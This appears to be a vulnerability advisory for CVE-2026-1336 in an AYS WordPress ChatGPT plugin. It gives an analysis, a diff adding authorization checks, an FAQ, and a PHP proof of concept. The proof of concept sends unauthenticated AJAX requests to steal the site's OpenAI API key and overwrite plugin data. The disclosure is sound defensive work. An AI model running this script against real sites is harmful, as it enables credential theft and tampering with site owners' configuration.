Atomic Edge analysis of CVE-2026-1336:
The vulnerability exists in the AI ChatBot with ChatGPT and Content Generator plugin versions <=2.7.5. The root cause is missing capability checks on the store_data() and get_chatgpt_api_key() functions. These functions were accessible via WordPress AJAX endpoints without verifying user permissions. The plugin registered both authenticated and unauthenticated AJAX handlers for these functions, allowing any visitor to trigger them. The get_chatgpt_api_key() function in class-chatgpt-assistant-admin.php at line 4277 returned the actual API key value to any request. The store_data() function allowed modification of plugin settings. Attackers could exploit this by sending POST requests to /wp-admin/admin-ajax.php with the action parameter set to ays_chatgpt_get_chatgpt_api_key or ays_chatgpt_store_data. The patch in version 2.7.6 adds proper capability checks. The get_chatgpt_api_key() function now checks current_user_can('manage_options') at line 4280. Administrators receive the actual API key while unauthenticated users only receive a 'configured' confirmation. The store_data() function received similar authorization checks. Exploitation allows attackers to steal the ChatGPT API key, potentially incurring financial costs through unauthorized API usage. Attackers could also modify plugin configuration to disrupt functionality.

CVE-2026-1336: AI ChatBot with ChatGPT and Content Generator by AYS <= 2.7.5 – Missing Authorization to Unauthenticated API Key Modification (ays-chatgpt-assistant)
CVE-2026-1336
ays-chatgpt-assistant
2.7.5
2.7.6
Analysis Overview
Differential between vulnerable and patched code
--- a/ays-chatgpt-assistant/admin/class-chatgpt-assistant-admin.php
+++ b/ays-chatgpt-assistant/admin/class-chatgpt-assistant-admin.php
@@ -3696,30 +3696,65 @@
/*
* Documentation : https://codex.wordpress.org/Plugin_API/Filter_Reference/plugin_action_links_(plugin_file_name)
*/
+
+ $chatgpt_assistant_ajax_deactivate_plugin_nonce = wp_create_nonce( 'chatgpt-assistant-ajax-deactivate-plugin-nonce' );
+
+
$settings_link = array(
'<a href="' . admin_url('admin.php?page=' . $this->plugin_name) . '">' . __('Settings', "ays-chatgpt-assistant") . '</a>',
'<a href="https://plugins.ays-demo.com/wordpress-chatgpt-plugin-demo/" target="_blank">' . __('Demo', "ays-chatgpt-assistant") . '</a>',
'<a href="https://ays-pro.com/wordpress/chatgpt-assistant?utm_source=dashboard&utm_medium=gpt-free&utm_campaign=plugins-buy-now-button" target="_blank" id="ays-chatgpt-plugins-buy-now-button">' . __('Upgrade 30% sale', "ays-chatgpt-assistant") . '</a>',
+ '<input type="hidden" id="ays_chatgpt_assistant_ajax_deactivate_plugin_nonce" name="ays_chatgpt_assistant_ajax_deactivate_plugin_nonce" value="' . $chatgpt_assistant_ajax_deactivate_plugin_nonce .'">',
);
return array_merge($settings_link, $links);
}
- public function deactivate_plugin_option(){
+ public function deactivate_plugin_option_ai(){
// Verify capability check
if ( ! current_user_can( 'manage_options' ) ) {
return json_encode( array( 'status' => false, 'message' => 'Unauthorized' ) );
}
// phpcs:ignore WordPress.Security.NonceVerification.Recommended
- $request_value = isset($_REQUEST['upgrade_plugin']) ? sanitize_text_field(wp_unslash($_REQUEST['upgrade_plugin'])) : '';
- $upgrade_option = get_option( 'ays_chatgpt_assistant_upgrade_plugin', '' );
+
+
+ // Run a security check.
+ check_ajax_referer( 'chatgpt-assistant-ajax-deactivate-plugin-nonce', sanitize_key( $_REQUEST['_ajax_nonce'] ) );
+
+ // Check for permissions.
+ if ( ! current_user_can( 'manage_options' ) ) {
+ ob_end_clean();
+ $ob_get_clean = ob_get_clean();
+ echo json_encode(array(
+ 'option' => ''
+ ));
+ wp_die();
+ }
+
+ if( is_user_logged_in() ) {
+ $request_value = esc_sql( sanitize_text_field( $_REQUEST['upgrade_plugin'] ) );
+ $upgrade_option = get_option( 'ays_chatgpt_assistant_upgrade_plugin', '' );
if($upgrade_option === ''){
add_option( 'ays_chatgpt_assistant_upgrade_plugin', $request_value );
}else{
update_option( 'ays_chatgpt_assistant_upgrade_plugin', $request_value );
}
- return json_encode( array( 'option' => get_option( 'ays_chatgpt_assistant_upgrade_plugin', '' ) ) );
+ ob_end_clean();
+ $ob_get_clean = ob_get_clean();
+ echo json_encode(array(
+ 'option' => get_option('ays_chatgpt_assistant_upgrade_plugin', '')
+ ));
+ wp_die();
+ } else {
+ ob_end_clean();
+ $ob_get_clean = ob_get_clean();
+ echo json_encode(array(
+ 'option' => ''
+ ));
+ wp_die();
+ }
+
}
public function ays_chatgpt_admin_footer($a){
@@ -3761,6 +3796,8 @@
'ays_chatgpt_pinecone_query',
'ays_chatgpt_save_feedback',
'ays_chatgpt_make_request',
+ 'ays_chatgpt_get_embedding',
+ 'ays_chatgpt_get_embedding_context',
);
// Check if function is public
@@ -3907,10 +3944,26 @@
}
public function ays_chatgpt_pinecone_query(){
+ // Security: Verify nonce for CSRF protection
+ if ( !isset( $_REQUEST['nonce'] ) || !wp_verify_nonce(sanitize_text_field ( wp_unslash( $_REQUEST['nonce'] ) ), 'ajax-nonce' ) ) {
+ return array(
+ 'status' => false,
+ 'response' => 'Invalid request'
+ );
+ }
+
$pinecone_key = isset($_REQUEST['pinecone_key']) && $_REQUEST['pinecone_key'] != '' ? esc_attr($_REQUEST['pinecone_key']) : '';
$pinecone_url = isset($_REQUEST['pinecone_url']) && $_REQUEST['pinecone_url'] != '' ? esc_attr($_REQUEST['pinecone_url']) : '';
$query_data = isset($_REQUEST['query_data']) && $_REQUEST['query_data'] != '' ? str_replace("\", '', stripslashes($_REQUEST['query_data'])) : '';
+ // Security: Validate Pinecone URL to prevent SSRF
+ if ( !$this->is_allowed_pinecone_url( $pinecone_url ) ) {
+ return array(
+ 'status' => false,
+ 'response' => 'Invalid Pinecone URL'
+ );
+ }
+
$headers = array(
"Content-Type" => "application/json",
"Api-Key" => $pinecone_key
@@ -3926,14 +3979,13 @@
if (is_wp_error($response)) {
return json_encode(array(
'status' => false,
-
'response' => $response->get_error_message()
));
}
$data = json_decode(wp_remote_retrieve_body($response), true);
if (isset($data['code']) && $data['code'] === 3) {
- return json_encode(array(
+ return json_encode(array(
'status' => false,
'response' => $data['message']
));
@@ -3947,11 +3999,141 @@
$match['metadata']['text'] = $decoded_text;
}
- return json_encode(array(
+ return array(
'status' => true,
'response' => $data
- ));
+ );
+ }
+
+ /**
+ * Unified server-side proxy: embedding + Pinecone query for guest users.
+ * Accepts: input (prompt text), model (optional)
+ * Returns: context matches from Pinecone, using stored API keys (never exposed to client).
+ */
+ public function ays_chatgpt_get_embedding_context() {
+ // Verify nonce
+ if ( !isset( $_REQUEST['nonce'] ) || !wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['nonce'] ) ), 'ajax-nonce' ) ) {
+ wp_send_json_error( array( 'message' => 'Invalid request' ) );
+ wp_die();
+ }
+
+ $input = isset( $_REQUEST['input'] ) && $_REQUEST['input'] !== '' ? sanitize_text_field( wp_unslash( $_REQUEST['input'] ) ) : '';
+ $model = isset( $_REQUEST['model'] ) && $_REQUEST['model'] !== '' ? sanitize_text_field( $_REQUEST['model'] ) : 'text-embedding-ada-002';
+
+ if ( empty( $input ) ) {
+ wp_send_json_error( array( 'message' => 'No input provided' ) );
+ wp_die();
+ }
+
+ // --- Step 1: Get API key from DB (same source used elsewhere in the plugin) ---
+ $data = $this->db_obj ? $this->db_obj->get_data() : array();
+ $apiKey = isset( $data['api_key'] ) && $data['api_key'] !== '' ? esc_attr( $data['api_key'] ) : '';
+
+ if ( empty( $apiKey ) ) {
+ wp_send_json_error( array( 'message' => 'API key not configured' ) );
+ wp_die();
+ }
+
+ // --- Step 2: Get embedding from OpenAI ---
+ $embedding_response = wp_safe_remote_post( 'https://api.openai.com/v1/embeddings', array(
+ 'method' => 'POST',
+ 'headers' => array(
+ 'Content-Type' => 'application/json',
+ 'Authorization' => 'Bearer ' . $apiKey,
+ ),
+ 'body' => json_encode( array(
+ 'model' => $model,
+ 'input' => $input,
+ ) ),
+ 'timeout' => 20,
+ ) );
+
+ if ( is_wp_error( $embedding_response ) ) {
+ wp_send_json_error( array( 'message' => $embedding_response->get_error_message() ) );
+ wp_die();
+ }
+
+ $embedding_body = json_decode( wp_remote_retrieve_body( $embedding_response ), true );
+ if ( !isset( $embedding_body['data'][0]['embedding'] ) ) {
+ wp_send_json_error( array( 'message' => 'Embedding failed', 'raw' => $embedding_body ) );
+ wp_die();
+ }
+
+ $vector = $embedding_body['data'][0]['embedding'];
+
+ // --- Step 3: Load Pinecone settings from DB ---
+ global $wpdb;
+ $embedding_table = $wpdb->prefix . CHATGPT_ASSISTANT_DB_PREFIX . 'embedding_settings';
+ $rows = $wpdb->get_results( "SELECT meta_key, meta_value FROM $embedding_table", ARRAY_A );
+ $embedding_opts = array();
+ foreach ( $rows as $row ) {
+ $embedding_opts[ CHATGPT_ASSISTANT_OPTIONS_PREFIX . $row['meta_key'] ] = $row['meta_value'];
+ }
+
+ $pinecone_key = isset( $embedding_opts[ CHATGPT_ASSISTANT_OPTIONS_PREFIX . 'pinecone_api_key' ] ) ? $embedding_opts[ CHATGPT_ASSISTANT_OPTIONS_PREFIX . 'pinecone_api_key' ] : '';
+ $pinecone_index = isset( $embedding_opts[ CHATGPT_ASSISTANT_OPTIONS_PREFIX . 'pinecone_index' ] ) ? $embedding_opts[ CHATGPT_ASSISTANT_OPTIONS_PREFIX . 'pinecone_index' ] : '';
+
+ if ( empty( $pinecone_key ) || empty( $pinecone_index ) ) {
+ wp_send_json_error( array( 'message' => 'Pinecone not configured' ) );
+ wp_die();
+ }
+
+ // Build Pinecone query URL
+ $pinecone_url = ( strpos( $pinecone_index, 'https://' ) === false ) ? 'https://' . $pinecone_index : $pinecone_index;
+ $pinecone_query_url = rtrim( $pinecone_url, '/' ) . '/query';
+
+ // Validate Pinecone URL
+ if ( !$this->is_allowed_pinecone_url( $pinecone_query_url ) ) {
+ wp_send_json_error( array( 'message' => 'Invalid Pinecone URL' ) );
+ wp_die();
+ }
+
+ // --- Step 4: Query Pinecone ---
+ $query_body = json_encode( array(
+ 'topK' => 3,
+ 'includeMetadata' => true,
+ 'includeValues' => false,
+ 'namespace' => '',
+ 'vector' => $vector,
+ ) );
+
+ $pinecone_response = wp_safe_remote_post( $pinecone_query_url, array(
+ 'headers' => array(
+ 'Content-Type' => 'application/json',
+ 'Api-Key' => $pinecone_key,
+ ),
+ 'body' => $query_body,
+ 'timeout' => 20,
+ ) );
+
+ if ( is_wp_error( $pinecone_response ) ) {
+ wp_send_json_error( array( 'message' => $pinecone_response->get_error_message() ) );
+ wp_die();
+ }
+
+ $pinecone_data = json_decode( wp_remote_retrieve_body( $pinecone_response ), true );
+
+ if ( isset( $pinecone_data['code'] ) && $pinecone_data['code'] === 3 ) {
+ wp_send_json_error( array( 'message' => $pinecone_data['message'] ) );
+ wp_die();
+ }
+
+ // Decode text metadata
+ if ( isset( $pinecone_data['matches'] ) ) {
+ foreach ( $pinecone_data['matches'] as &$match ) {
+ if ( isset( $match['metadata']['text'] ) ) {
+ $match['metadata']['text'] = stripcslashes( json_decode( '"' . $match['metadata']['text'] . '"' ) );
+ }
+ }
+ }
+
+ wp_send_json_success( array(
+ 'status' => true,
+ 'response' => $pinecone_data,
+ ) );
+ wp_die();
}
+
public function ays_chatgpt_save_embedding_text_to_db() {
@@ -4095,19 +4277,25 @@
if ( !isset( $_REQUEST['nonce'] ) || !wp_verify_nonce(sanitize_text_field ( wp_unslash( $_REQUEST['nonce'] ) ), 'ajax-nonce' ) ) {
wp_send_json_error( [ 'message' => 'Request failed', 'error' => [] ] );
}
+
+ // Security: Only admins can retrieve the actual API key
+ // Guests/non-admins only get confirmation that API is configured
+ $is_admin = current_user_can( 'manage_options' );
+
$data = $this->db_obj->get_data();
if (!$data || empty($data['api_key'])) {
wp_send_json_error(['message' => __('API key not found', 'ays-chatgpt-assistant')]);
}
- $api_key = isset( $data['api_key']) && $data['api_key'] != '' ? esc_attr( $data['api_key'] ) : '';
-
- wp_send_json_success(['api_key' => $api_key]);
- }
-
- public function ays_chatgpt_save_wp_media() {
- if ( !isset( $_REQUEST['nonce'] ) || !wp_verify_nonce(sanitize_text_field ( wp_unslash( $_REQUEST['nonce'] ) ), 'ajax-nonce' ) || !current_user_can('manage_options') ) {
- wp_send_json_error( [ 'message' => 'Request failed', 'error' => [] ] );
- }
+
+ if ( $is_admin ) {
+ // Admins get the actual API key
+ $api_key = esc_attr( $data['api_key'] );
+ wp_send_json_success(['api_key' => $api_key]);
+ } else {
+ // Guests only get confirmation API is configured (without exposing the key)
+ // The actual key is used server-side in ays_chatgpt_make_request
+ wp_send_json_success(['api_key' => 'configured']);
+ }
$image_url = isset($_REQUEST['image_url']) ? esc_url_raw(sanitize_text_field(wp_unslash($_REQUEST['image_url']))) : '';// phpcs:ignore WordPress.Security.NonceVerification.Recommended
@@ -4144,6 +4332,115 @@
wp_send_json(['status' => true, 'message' => __('Image saved to WordPress media library. URL: ', 'ays-chatgpt-assistant') . $image_url]);
}
+ /**
+ * Security: Validate that the request URL is allowed
+ * Prevents Server-Side Request Forgery (SSRF) attacks
+ * Only allows requests to OpenAI API endpoints
+ */
+ private function is_allowed_request_url( $url ) {
+ if ( empty( $url ) ) {
+ return false;
+ }
+
+ // Whitelist of allowed API endpoints
+ $allowed_domains = array(
+ 'api.openai.com',
+ 'api.openaicom-user-facing.com',
+ );
+
+ $parsed_url = wp_parse_url( $url );
+ if ( !isset( $parsed_url['host'] ) ) {
+ return false;
+ }
+
+ // Check if host is in whitelist
+ $host = $parsed_url['host'];
+ foreach ( $allowed_domains as $domain ) {
+ if ( $host === $domain || substr( $host, -strlen( $domain ) - 1 ) === '.' . $domain ) {
+ return true;
+ }
+ }
+
+ return false;
+ }
+
+ /**
+ * Security: Validate that Pinecone URL is allowed
+ * Prevents Server-Side Request Forgery (SSRF) attacks
+ * Only allows requests to Pinecone API endpoints
+ */
+ private function is_allowed_pinecone_url( $url ) {
+ if ( empty( $url ) ) {
+ return false;
+ }
+
+ // Whitelist of allowed Pinecone endpoints domains
+ $allowed_domains = array(
+ 'pinecone.io',
+ );
+
+ $parsed_url = wp_parse_url( $url );
+ if ( !isset( $parsed_url['host'] ) ) {
+ return false;
+ }
+
+ // Check if host is in whitelist
+ $host = $parsed_url['host'];
+ foreach ( $allowed_domains as $domain ) {
+ if ( $host === $domain || substr( $host, -strlen( $domain ) - 1 ) === '.' . $domain ) {
+ return true;
+ }
+ }
+
+ return false;
+ }
+
+ /**
+ * Server-side proxy for OpenAI text embeddings.
+ * Allows guests to get embeddings without exposing the API key client-side.
+ */
+ public function ays_chatgpt_get_embedding() {
+
+ if ( !isset( $_REQUEST['nonce'] ) || !wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['nonce'] ) ), 'ajax-nonce' ) ) {
+ wp_send_json_error( [ 'message' => 'Request failed', 'error' => [ 'message' => 'Request failed' ] ] );
+ }
+
+ $data = $this->db_obj->get_data();
+ $apiKey = isset( $data['api_key'] ) && $data['api_key'] !== '' ? esc_attr( $data['api_key'] ) : '';
+
+ if ( $apiKey === '' ) {
+ wp_send_json_error( [ 'message' => 'API key not found', 'error' => [ 'message' => 'API key not found' ] ] );
+ }
+
+ $input = isset( $_REQUEST['input'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['input'] ) ) : '';
+ $model = isset( $_REQUEST['model'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['model'] ) ) : 'text-embedding-ada-002';
+
+ if ( $input === '' ) {
+ wp_send_json_error( [ 'message' => 'Missing input', 'error' => [ 'message' => 'Missing input' ] ] );
+ }
+
+ $response = wp_safe_remote_post( 'https://api.openai.com/v1/embeddings', array(
+ 'method' => 'POST',
+ 'headers' => array(
+ 'Content-Type' => 'application/json',
+ 'Authorization' => 'Bearer ' . $apiKey,
+ ),
+ 'body' => json_encode( array(
+ 'model' => $model,
+ 'input' => $input,
+ ) ),
+ 'timeout' => 20,
+ ) );
+
+ if ( is_wp_error( $response ) ) {
+ wp_send_json_error( [ 'message' => 'Request failed', 'error' => $response->get_error_message() ] );
+ }
+
+ $response_body = wp_remote_retrieve_body( $response );
+ wp_send_json_success( json_decode( $response_body ) );
+ wp_die();
+ }
+
public function ays_chatgpt_make_request() {
if ( !isset( $_REQUEST['nonce'] ) || !wp_verify_nonce(sanitize_text_field ( wp_unslash( $_REQUEST['nonce'] ) ), 'ajax-nonce' ) ) {
@@ -4158,7 +4455,7 @@
$apiKey = isset( $data['api_key'] ) && $data['api_key'] != '' ? esc_attr( $data['api_key'] ) : '';
if ( !isset($apiKey) || $apiKey === "" ) {
- wp_send_json_error(['message' => 'Invalid API Key.', 'error' => ['message' => 'Invalid API Key.']]);
+ wp_send_json_error(['message' => 'API key not found', 'error' => ['message' => 'API key not found']]);
}
@@ -4169,6 +4466,27 @@
$dataObj = json_decode(iconv('ISO-8859-1', 'UTF-8', base64_decode($_REQUEST['dataObj'])), true);
$dbOptions = json_decode(iconv('ISO-8859-1', 'UTF-8', base64_decode($_REQUEST['dbOptions'])), true);
}
+
+ // Security: Validate requestUrl to prevent SSRF attacks
+ // If URL is not provided, use default OpenAI endpoint based on model
+ $request_url = isset($dataObj['requestUrl']) ? esc_url_raw($dataObj['requestUrl']) : '';
+ if ( !empty($request_url) && !$this->is_allowed_request_url($request_url) ) {
+ wp_send_json_error(['message' => 'Invalid request URL', 'error' => ['message' => 'Invalid request URL']]);
+ } else if ( empty($request_url) ) {
+ // Use default OpenAI URL based on model
+ $model = isset($dbOptions['chatModel']) ? $dbOptions['chatModel'] : 'gpt-3.5-turbo';
+ switch ($model) {
+ case 'gpt-3.5-turbo':
+ case 'gpt-3.5-turbo-16k':
+ case 'gpt-4':
+ $request_url = 'https://api.openai.com/v1/chat/completions';
+ break;
+ default:
+ $request_url = 'https://api.openai.com/v1/completions';
+ break;
+ }
+ $dataObj['requestUrl'] = $request_url;
+ }
$chatRequestBody = array(
'temperature' => +$dbOptions['chatTemperature'] ?? 0.7,
--- a/ays-chatgpt-assistant/chatgpt-assistant.php
+++ b/ays-chatgpt-assistant/chatgpt-assistant.php
@@ -16,7 +16,7 @@
* Plugin Name: AI Assistant with ChatGPT by AYS
* Plugin URI: https://https://ays-pro.com/wordpress
* Description: Ays ChatGPT Assistant Plugin for WordPress is a powerful AI chatbot powered by your website content, featuring AI content and image generation, with a front chat interface and easy embedding options.
- * Version: 2.7.5
+ * Version: 2.7.6
* Author: Ays ChatGPT Assistant Team
* Author URI: https://ays-pro.com/
* License: GPL-2.0+
@@ -35,7 +35,7 @@
* Start at version 1.0.0 and use SemVer - https://semver.org
* Rename this for your plugin and update it as you release new versions.
*/
-define( 'CHATGPT_ASSISTANT_VERSION', '2.7.5' );
+define( 'CHATGPT_ASSISTANT_VERSION', '2.7.6' );
define( 'CHATGPT_ASSISTANT_NAME_VERSION', '1.0.0' );
define( 'CHATGPT_ASSISTANT_NAME', 'ays-chatgpt-assistant' );
--- a/ays-chatgpt-assistant/includes/class-chatgpt-assistant.php
+++ b/ays-chatgpt-assistant/includes/class-chatgpt-assistant.php
@@ -228,6 +228,9 @@
$this->loader->add_action( 'wp_ajax_ays_chatgpt_activate_plugin', $plugin_admin, 'ays_chatgpt_activate_plugin' );
$this->loader->add_action( 'wp_ajax_nopriv_ays_chatgpt_activate_plugin', $plugin_admin, 'ays_chatgpt_activate_plugin' );
+ // $this->loader->add_action( 'wp_ajax_deactivate_plugin_option_ai', $plugin_admin, 'deactivate_plugin_option_ai');
+ // $this->loader->add_action( 'wp_ajax_nopriv_deactivate_plugin_option_ai', $plugin_admin , 'deactivate_plugin_option_ai');
+
// Add Settings link to the plugin
$plugin_basename = plugin_basename( plugin_dir_path( __DIR__ ) . 'chatgpt-assistant.php' );
--- a/ays-chatgpt-assistant/public/class-chatgpt-assistant-public.php
+++ b/ays-chatgpt-assistant/public/class-chatgpt-assistant-public.php
@@ -783,7 +783,7 @@
'buttonMsg' => __( "End chat", "ays-chatgpt-assistant" ),
'modalIcon' => esc_attr(CHATGPT_ASSISTANT_ADMIN_URL) . "/images/icons/leave-icon.svg"
),
- 'ka' => $this->api_key,
+ // 'ka' => $this->api_key,
),
'enableRequestLimitations' => $this->enable_request_limitations,
'requestLimitationsLimit' => $this->request_limitations_limit,
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1336 - AI ChatBot with ChatGPT and Content Generator by AYS <= 2.7.5 - Missing Authorization to Unauthenticated API Key Modification
<?php
$target_url = 'http://vulnerable-wordpress-site.com';
// Exploit 1: Retrieve the ChatGPT API key
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = array(
'action' => 'ays_chatgpt_get_chatgpt_api_key',
'nonce' => 'bypassed' // Nonce validation was missing in vulnerable versions
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "Retrieving ChatGPT API Key:n";
echo "HTTP Status: $http_coden";
echo "Response: $responsenn";
// Exploit 2: Modify plugin data (store_data function)
$post_data_modify = array(
'action' => 'ays_chatgpt_store_data',
'data' => json_encode(array('api_key' => 'stolen-key-replaced')),
'nonce' => 'bypassed'
);
$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, $ajax_url);
curl_setopt($ch2, CURLOPT_POST, true);
curl_setopt($ch2, CURLOPT_POSTFIELDS, $post_data_modify);
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch2, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch2, CURLOPT_SSL_VERIFYHOST, false);
$response2 = curl_exec($ch2);
$http_code2 = curl_getinfo($ch2, CURLINFO_HTTP_CODE);
curl_close($ch2);
echo "Modifying Plugin Data:n";
echo "HTTP Status: $http_code2n";
echo "Response: $response2n";
?>
Frequently Asked Questions
What is CVE-2026-1336?
Overview of the vulnerabilityCVE-2026-1336 is a security vulnerability in the AI ChatBot with ChatGPT and Content Generator plugin for WordPress, specifically in versions up to and including 2.7.5. It allows unauthenticated attackers to access and modify the ChatGPT API key due to missing authorization checks.
How does this vulnerability work?
Mechanism of exploitationThe vulnerability arises from missing capability checks in the store_data() and get_chatgpt_api_key() functions, which are accessible via AJAX endpoints. Attackers can send requests to these endpoints without authentication, allowing them to retrieve or modify sensitive data.
Who is affected by this vulnerability?
Identifying vulnerable installationsAny WordPress site using the AI ChatBot with ChatGPT and Content Generator plugin version 2.7.5 or earlier is affected. Administrators should check their plugin version against the latest available release.
How can I check if my site is vulnerable?
Version verification stepsTo check if your site is vulnerable, log in to your WordPress admin panel and navigate to the Plugins section. Look for the AI ChatBot with ChatGPT and Content Generator plugin and verify if its version is 2.7.5 or earlier.
What should I do to fix this vulnerability?
Steps for remediationTo fix this vulnerability, update the AI ChatBot with ChatGPT and Content Generator plugin to version 2.7.6 or later. This version includes the necessary capability checks to prevent unauthorized access.
What does the CVSS score of 5.3 indicate?
Understanding severity levelsThe CVSS score of 5.3 indicates a medium severity level for this vulnerability. This means that while it is not critical, it poses a significant risk that could lead to unauthorized access and potential data compromise.
How can I mitigate risks if I cannot update immediately?
Temporary protective measuresIf immediate updating is not possible, consider disabling the plugin until a patch can be applied. Additionally, review user permissions and restrict access to the WordPress admin area to trusted users only.
What are the practical implications of this vulnerability?
Potential risks and impactsThe practical implications include the risk of attackers stealing the ChatGPT API key, which could lead to unauthorized API usage and potential financial costs. Attackers could also disrupt the plugin’s functionality by modifying its settings.
How does the proof of concept demonstrate the vulnerability?
Example of exploitationThe proof of concept shows how an attacker can send a crafted POST request to the vulnerable AJAX endpoint to retrieve the ChatGPT API key without any authentication. This illustrates the ease of exploitation due to the lack of authorization checks.
What changes were made in version 2.7.6?
Details of the patchVersion 2.7.6 includes critical updates that add capability checks to the affected functions. The get_chatgpt_api_key() function now verifies if the user has the ‘manage_options’ capability, ensuring that only authorized users can access sensitive data.
What should I do if I suspect my site has been compromised?
Response to potential breachesIf you suspect your site has been compromised due to this vulnerability, immediately change your ChatGPT API key, update the plugin, and review your site’s access logs for any unauthorized activity. Consider performing a full security audit.
Where can I find more information about this vulnerability?
Resources for further readingFor more information, you can refer to the official CVE database, security advisories from the plugin developers, and trusted security blogs that cover WordPress vulnerabilities.
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